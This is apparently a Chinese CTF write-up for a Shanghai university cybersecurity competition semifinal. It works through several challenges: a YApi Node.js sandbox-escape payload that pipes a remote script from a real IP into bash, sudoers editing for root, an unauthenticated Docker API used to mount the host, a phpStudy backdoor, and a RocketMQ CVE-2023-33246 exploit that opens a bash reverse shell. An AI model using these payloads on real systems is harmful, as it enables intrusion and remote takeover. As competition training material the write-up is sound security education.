上海市大学生网络安全竞赛-磐石行动复赛wp

复赛wp,不知道能不能进决赛。。。

快乐行程

首先发现3000有服务,发现是yapi

找到yapi漏洞

注册一个接口

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync("curl http://150.158.17.237  | bash").toString()

然后我们直接反弹shell

发现不能打开root文件夹

提权sudo visudo -f /etc/sudoers -e 's/root ALL=(ALL:ALL) ALL/&\nidss ALL=(ALL:ALL) ALL/'

sudo cat /root/flag

得到flag

由于yapi是用nodejs开发的,所以也存在nodejs的特性及缺陷点。

我们从公开的poc出发,做一个简要分析。

const sandbox = this; // 获取沙箱环境
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

这里想要探究命令执行的过程,得先了解Nodejs的VM库及部分函数。

在使用Nodejs创建vm环境后,会初始化对象sandbox。
由于this.constructor.constructor返回的是Function constructor,所以可以利用Function构造函数并执行。同时Function对象处于主程序中,这里构造的函数内的语句是返回process全局变量,结果是返回了主程序的环境变量,最终完成沙盒逃逸并执行代码。

ifconfig发现还有第二个网卡主机

直接上fscan

扫描到docker未授权的rce     docker -H tcp://x.x.x.x:2375 docker -H tcp://x.x.x.x:2375 docker -H tcp://x.x.x.x:2375 docker -H tcp://x.x.x.x:2375

cd mnt/root/

images

ps

pull busybox

run -it -v /:/mnt 69593048aa3a /bin/bash

拿到flag

温故而知新

发现是phpstudy后门漏洞

找了一篇文章

按照着填一下连接

得到flag

多年前的约定

扫了一下发现

Host is up (0.024s latency).

Not shown: 997 closed tcp ports (reset)

PORT     STATE SERVICE VERSION

22/tcp   open  ssh      OpenSSH 7.4 (protocol 2.0)

111/tcp  open  rpcbind 2-4 (RPC #100000)

9876/tcp open  ssl/sd?

这个端口看了看可能是Apache RocketMQ 看看最近的漏洞,找到了远程命令执行

直接反弹shell

java -jar CVE-2023-33246.jar -ip "10.119.140.172" -cmd "bash -i >& /dev/tcp/150.158.17.237/6666 0>&1"

得到flag

期待晋级吧。。。。请多多关注我们!

  • 18
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值